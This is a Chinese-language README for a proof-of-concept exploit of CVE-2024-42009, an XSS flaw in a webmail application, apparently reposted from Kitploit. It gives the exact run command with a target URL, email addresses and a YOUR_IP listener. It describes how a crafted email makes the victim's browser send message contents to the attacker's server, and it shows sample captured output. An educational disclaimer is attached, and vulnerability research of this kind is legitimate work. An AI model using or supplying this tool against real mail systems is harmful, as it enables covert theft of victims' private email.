CVE-2024-42009 PoC：电子邮件捕获监听器与XSS漏洞利用

概述

本概念验证（PoC）演示了针对CVE-2024-42009漏洞的利用方法，利用跨站脚本（XSS）漏洞从目标Webmail应用程序中提取电子邮件。攻击注入恶意载荷，将邮件内容外泄到攻击者控制的监听器。

特性

• 利用XSS漏洞捕获电子邮件内容。
• 使用HTTP监听器接收并解码外泄的电子邮件。
• 自动化载荷注入与外泄过程。

依赖

• Python 3.x
• 所需依赖（通过pip安装）：
  root@kitploit:~

  pip install requests beautifulsoup4
  

使用方法

使用必要参数运行脚本：

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

参数

攻击流程

1. 启动监听器：脚本启动一个HTTP服务器以捕获提取的电子邮件。
2. 注入恶意载荷：通过精心构造的电子邮件发送XSS载荷。
3. 触发执行：当受害者打开邮件时，载荷执行并将邮件内容发送至攻击者服务器。
4. 捕获与解码：提取的邮件内容被解码并显示。

示例输出

[*] CVE-2024-42009 PoC：正在监听 192.168.1.100:1337...
[*] 正在为UID 1发送载荷...
[+] 已为UID 1发送载荷（状态码：200）

[+] 捕获的邮件内容：
你好，这是一封测试邮件！

免责声明

我不对该漏洞及其对应在本GitHub仓库中托管的所有漏洞利用代码主张权利/所有权/披露权——所有功劳归于发现该漏洞的研究人员；我只是基于互联网上的数据创建了一个PoC来复现该漏洞。 本PoC仅用于教育和研究目的。未经同意对系统进行非法测试是违法的！请负责任地使用！